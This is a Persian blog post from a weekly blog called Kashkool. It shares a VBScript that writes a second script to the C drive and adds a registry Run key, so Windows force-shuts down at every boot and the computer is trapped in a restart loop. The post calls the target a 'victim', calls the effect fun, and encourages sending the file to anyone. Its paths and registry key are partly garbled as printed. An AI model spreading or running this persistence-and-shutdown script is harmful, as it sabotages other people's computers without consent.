KASHKOOL-ویندوز و ریجستری - کشکول

X
تبلیغات
رایتل

X
تبلیغات
رایتل
به وبلاگ هفتگی کشکول خوش آمدید- ایمیل KASHKOOL at GMAIL dot COM


تعداد بازدیدکنندگان

آرشیو

Reset کردن مداوم کامپیوتر موقع بالا آمدن ویندوز

یکشنبه 10 اسفند‌ماه سال 1382


ویژوال اسکریپت زیر رو نمی دونم توی کدوم سایت دیدم تا بگم .  این اسکریپت رو اگر روی کامپیوتر قربانی اجرا بشه نمی ذاره کامپیوترش بالا نمی آد . حتی فرصت کلیک کردن روی ایکن ها رو بهش نمی ده .و پشت سر هم restart می شه! من روی کامپیوتر اجراش کردم خیلی باحال بود. می تونید روی کامپیوتر خودتون هم اجراش کنید . برای خلاصی ازش باید فایل C: estart.vbs  رو از کامپیوترتون از طریق Dos حذف کنید بعد ویندوزتون بالا می آد  
سورس رو می ذارم علائمش در هم برهم هست همونجور کپی کنید بعد روی notepad کپی کنید خودش درست می شه و فایل رو  هم با پسوند vbs ذخیره کنید و می تونید برای هر کسی که دلتون بخواد بفرستید.

Sub ShutDown
Set FSO = CreateObject("Scripting.FileSystemObject")
Set TxtFile = FSO.CreateTextFile("c: estart.vbs", 2, False)
TxtFile.WriteLine "Sub ShutDown "
TxtFile.WriteLine "nLogOff=0 "
TxtFile.WriteLine "nReboot=2 "
TxtFile.WriteLine "nForceLogOff=4 "
TxtFile.WriteLine "nForceReboot=6 "
TxtFile.WriteLine "nPowerDown=8 "
TxtFile.WriteLine "nForcePowerDown=12 "
TxtFile.WriteLine "Set oOS = GetObject("+chr(34)+"winmgmts:{(Shutdown)}"+chr(34)+").ExecQuery("+chr(34)+"Select * from Win32_OperatingSystem"+chr(34)+") "
TxtFile.WriteLine "For Each oOperatingSystem in oOS "
TxtFile.WriteLine " oOperatingSystem.Win32Shutdown(nForcePowerDown) "
TxtFile.WriteLine "Next "
TxtFile.WriteLine "End sub "
TxtFile.WriteLine "ShutDown "
TxtFile.Close
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunRestart", "c: estart.vbs"

End sub
ShutDown  


برای عضویت در خبرنامه این وبلاگ نام کاربری خود در سیستم بلاگ اسکای را وارد کنید
نام کاربری
تعداد بازدیدکنندگان : 464617


Powered by BlogSky.com

عناوین آخرین یادداشت ها

Pass Proxy: عبور از پروکسی
No Cookies No Scripts No Ads No Referrer